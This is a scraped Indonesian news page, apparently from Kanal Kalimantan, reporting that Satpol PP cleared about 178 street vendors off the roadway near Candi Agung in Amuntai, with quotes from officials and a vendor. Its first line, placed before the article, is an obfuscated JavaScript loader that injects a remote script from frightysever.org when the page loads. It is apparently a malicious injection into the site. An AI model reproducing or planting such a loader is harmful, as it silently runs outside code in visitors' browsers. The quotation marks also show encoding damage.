(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, PKL (Pedagang Kaki Lima) di kawasan Candi Agung Amuntai ditertibkan Sat Pol PP Kabupaten HSU dalam operasi gabungan, Rabu (31/1). Sebagian dari barang dagangan PKL sempat dipindahkan oleh aparat dari jalan ke atas trotoar.
Hasil penertiban PKL yang berlangsung sekitar dua jam itu, ada sekitar 178 PKL yang didata oleh Dinas Perindagkop HSU.
Penertiban PKL Candi Agung merupakan langkah awal melakukan penertiban titik-titik PKL di kota Amuntai. Data yang dimiliki Pemkab HSU ada sejumlah titik kumpul PKL berjualan diantaranya PKL di Siring Tugu Itik, PKL Taman Putri Junjung Buih, PKL sekitar RSUD Pambalah Batung, termasuk PKL di Jalan Empu Jatmika dan kawasan Candi Agung.
Sat Pol PP Kabupaten HSU meminta secara tegas PKL untuk tidak lagi menggelar dagangan di badan jalan. PKL diminta hanya berjualan di atas trotoar saja. Namun ada saja PKL yang membandel menggelar dagangan hingga hampir memakan separuh badan jalan.
Kasat Pol PP dan Damkar HSU H Ahmad Ridhani Effendi kepada Kanal Kalimantan mengatakan, penertiban ini sebagai tindak lanjut dari rapat koordinasi dengan Sekda, terkait penataan terhadap pasar.
“Intinya agar tidak menggangu arus lalu lintas, PKL diatur tidak menggunakan jalan sebagai tempat berjualan,†katanya.
Langkah, pertama Sat Pol PP melakukan pembinaan jangka pendek. Untuk saat ini belum ada rencana relokasi. “Apabila sudah ditentukan relokasi lebih lanjut kami dapat melakukan penertiban yang lebih tegas,†lanjut Ridhani.
Ridhani menambahkan, ketertiban kawasan ini kedepan tidak hanya menjadi tanggung jawab pemerintah daerah, namun diharapkan dapat melibatkan semua pihak termasuk aparat Limnas desa setempat, baik kepala desa, Camat maupun unsur muspika kecamatan.
“Kami berharap kepada para PKL agar mematuhi aturan, karena ini masalah ketertiban, jelas melanggar peraturan,†tegasnya.
Sementara itu, Kepala Dinas Perhubungan HSU H Hamdani mengatakan, meski diperbolehkan berjualan, diharapkan seluruh PKL di Jalan Empu Jatmika Kelurahan Sungai Malang, agar saat menggelar dagangan hanya di atas trotoar. “Tidak sampai memakan jalan, sehingga ketertiban arus lalu lintas jalan terjaga,†pungkasnya.
Dilain pihak, salah satu PKL Salim berharap kedepan ada tempat relokasi untuk semua pedagang, agar semua dapat memberikan manfaat bagi kedua belah pihak baik pemerintah maupun masyarakat.(dewahyudi)
KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More
KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More
This website uses cookies.